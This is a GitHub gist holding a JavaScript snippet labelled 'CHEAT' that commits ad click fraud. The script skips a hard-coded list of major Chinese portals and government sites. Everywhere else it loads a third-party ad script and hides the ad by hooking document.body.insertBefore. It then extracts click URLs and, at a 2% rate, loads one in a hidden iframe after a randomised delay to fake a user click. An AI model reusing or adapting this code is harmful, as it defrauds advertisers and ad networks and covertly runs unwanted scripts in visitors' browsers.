Created
May 31, 2016 06:41
-
-
Save duanckham/68cb9e9a079a838d4605e97bc8245e6f to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| // CHEAT | |
| (function() { | |
| var moduleName = 'dice-pc'; | |
| // SCRIPT EXEC LOG | |
| window._GRD && window._GRD.triggerStats && window._GRD.triggerStats(moduleName); | |
| if (Math.DICE) { return; } | |
| Math.DICE = true; | |
| var filter = /baidu.com|taobao.com|qq.com|360.cn|sogou.com|www.apple.com|cntv.cn|1360.com|hao123.com|12306.cn|icbc.com.cn|duba.com|10086.cn|google.com.hk|google.com|bing.com|chinaz.com|duba.net|gdltax.gov.cn|alibaba.com|qihoo.com|xiaomi.com|google.cn|bjjtgl.gov.cn|moe.edu.cn|moe.gov.cn|www.mof.gov.cn|www.mohurd.gov.cn|cq.gov.cn|www.sipo.gov.cn|www.sda.gov.cn|jl.gov.cn|www.sdpc.gov.cn|www.saic.gov.cn|www.beijing.gov.cn|www.customs.gov.cn|hainan.gov.cn|jiangxi.gov.cn|www.fmprc.gov.cn|www.mohrss.gov.cn|www.aqsiq.gov.cn|bjjtgl.gov.cn|www.cbrc.gov.cn|mofcom.gov.cn|www.szaic.gov.cn|www.mod.gov.cn|www.sc.gov.cn|www.csrc.gov.cn|www.forestry.gov.cn|e21.cn|www.nmg.gov.cn|www.fujian.gov.cn|www.shanxigov.cn|www.shaanxi.gov.cn|ccn.mofcom.gov.cn|taiwan.net.tw|www.jiangsu.gov.cn|www.gd.gov.cn|www.gansu.gov.cn|www.hunan.gov.cn|www.qh.gov.cn|jxedu.gov.cn|www.hlj.gov.cn|www.hebei.gov.cn|www.gzgov.gov.cn|www.chengdu.gov.cn|bjrbj.gov.cn|www.nx.gov.cn|yw.gov.cn|haaic.gov.cn|gxeea.cn|sbj.saic.gov.cn|cnnic.cn|jxhld.gov.cn|court.gov.cn|www.chinagrain.gov.cn|cas.cn|changzhi.gov.cn|ly.gov.cn|huzhou.gov.cn|www.shandong.gov.cn|www.changsha.gov.cn|www.fuzhou.gov.cn|www.wenzhou.gov.cn|www.mlnews.gov.cn|www.xm.gov.cn|foshan.gov.cn|www.mas.gov.cn|ahxf.gov.cn|npc.gov.cn|hongze.gov.cn|linfen.gov.cn|www.changde.gov.cn|yn.gov.cn|qyxy.baic.gov.cn|xf.gov.cn|www.xiangxiang.gov.cn|hebwst.gov.cn|dg.gov.cn|www.zhenjiang.gov.cn|smesd.gov.cn|l.gov.cn|www.bjchy.gov.cn|maoming.gov.cn|linyi.gov.cn|moc.gov.cn|gwytb.gov.cn|www.huangshan.gov.cn|ccgp.gov.cn|mps.gov.cn|www.pingliang.gov.cn|henan.gov.cn|www.taizhou.gov.com/; | |
| var pid = '01b1f6566fbc77663f16'; | |
| var sid = '2d724824dd45d5c89b25'; | |
| var miss = 0; | |
| var debug = function(s) { | |
| window.DICELOGS = window.DICELOGS || []; | |
| window.DICELOGS.push(s); | |
| // console && console.log(s); | |
| }; | |
| if (location.hostname.match(filter)) { | |
| return debug('* Good boy.'); | |
| } | |
| var callOriginScript = function() { | |
| if (miss > 1) { | |
| return; | |
| } | |
| miss++; | |
| (function() { | |
| if (!document.body) return setTimeout(arguments.callee, 50); | |
| var e = document.createElement("script"); | |
| e.type = "text/javascript", | |
| e.text = '_guanggao_pub= "' + pid + '";', | |
| e.text += '_guanggao_slot= "' + sid + '";', | |
| document.body.insertBefore(e, document.body.children.item(0)); | |
| var e = document.createElement("script"); | |
| e.src = "http://ssp.thescenseproject.com/adpro.js", | |
| e.type = "text/javascript", | |
| document.body.insertBefore(e, document.body.children.item(0)) | |
| })(); | |
| }; | |
| var frn = function(n1, n2) { | |
| return (Math.random() * (Math.max(n1, n2) - Math.min(n1, n2)) + Math.min(n1, n2)); | |
| }; | |
| var fx = function() { | |
| return frn(1, 50); | |
| }; | |
| var fy = function(x) { | |
| var y = 0; | |
| var z = 0; | |
| var p = 0.0125 * x + 0.375; | |
| if (x > 10 && Math.random() < p) { | |
| z = frn(2, 10); | |
| y = z * frn(1, 5 / z); | |
| } else { | |
| y = x; | |
| } | |
| return y; | |
| }; | |
| var diceClickExp = /http:\/\/ssp\.thescenseproject\.com\/clk2\.html\?q\=[0-9a-zA-Z]+/g; | |
| var diceClickURL = false; | |
| var diceLinksCount = 0; | |
| var diceClicker = function(url) { | |
| var rate = 0.02; | |
| debug('* Click rate: <' + rate + '>.'); | |
| if (Math.random() > rate) { | |
| return debug('* Click ignore.'); | |
| } | |
| var iframe = document.createElement('iframe'); | |
| var wait = fy(fx()) * 1000; | |
| var click = function() { | |
| document.body.appendChild(iframe); | |
| // DICE CLICK LOG | |
| window._GRD && window._GRD.triggerEventStats && window._GRD.triggerEventStats(moduleName, 'click'); | |
| }; | |
| iframe.style.display = 'none'; | |
| iframe.setAttribute('src', url); | |
| setTimeout(click, wait); | |
| debug('* Clicked.'); | |
| }; | |
| // HOOK `insertBefore` | |
| document.body._insertBefore = document.body.insertBefore; | |
| document.body.insertBefore = function(newNode, referenceNode) { | |
| if (newNode.tagName === 'DIV' && newNode.id.indexOf(pid + '_' + sid) === 0) { | |
| newNode.style.height = '0px'; | |
| newNode.style.visibility = 'hidden'; | |
| } | |
| return document.body._insertBefore(newNode, referenceNode); | |
| }; | |
| var diceFindTimes = 0; | |
| var diceFinderLooper = setInterval(function() { | |
| if (iframeContent) { | |
| return; | |
| } | |
| if (diceFindTimes >= 5) { | |
| diceFindTimes = 0; | |
| return; | |
| } | |
| if (diceFindTimes === 0) { | |
| debug('* Call origin script.'); | |
| callOriginScript(); | |
| } | |
| diceFindTimes++; | |
| var iframeEls = document.getElementsByTagName('iframe'); | |
| var iframeTarget; | |
| var iframeAttributes; | |
| var iframeContent; | |
| for (var i = iframeEls.length; i--;) { | |
| iframeAttributes = iframeEls[i].attributes; | |
| iframeParent = iframeEls[i].parentNode; | |
| if (iframeParent && iframeParent.id && iframeParent.id.indexOf(sid) > 0) { | |
| for (var j = iframeAttributes.length; j--;) { | |
| if (iframeAttributes[j].nodeName === 'data-srcdoc') { | |
| debug('* Dice click url found.'); | |
| iframeTarget = iframeEls[i]; | |
| iframeContent = (iframeAttributes[j].value || iframeAttributes[j].nodeValue || iframeAttributes[j].textContent).toString(); | |
| } | |
| } | |
| } | |
| } | |
| try { | |
| diceClickURL = iframeContent ? iframeContent.match(diceClickExp) : []; | |
| diceLinksCount = diceClickURL.length; | |
| } catch (error) {} | |
| if (diceLinksCount) { | |
| clearInterval(diceFinderLooper); | |
| diceClickURL = diceClickURL[ parseInt( Math.random() * diceLinksCount ) ]; | |
| diceClicker(diceClickURL); | |
| iframeTarget.parentNode.style.display = 'none'; | |
| // DICE VIEW LOG | |
| window._GRD && window._GRD.triggerEventStats && window._GRD.triggerEventStats(moduleName, 'view'); | |
| } | |
| }, 500); | |
| })(); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment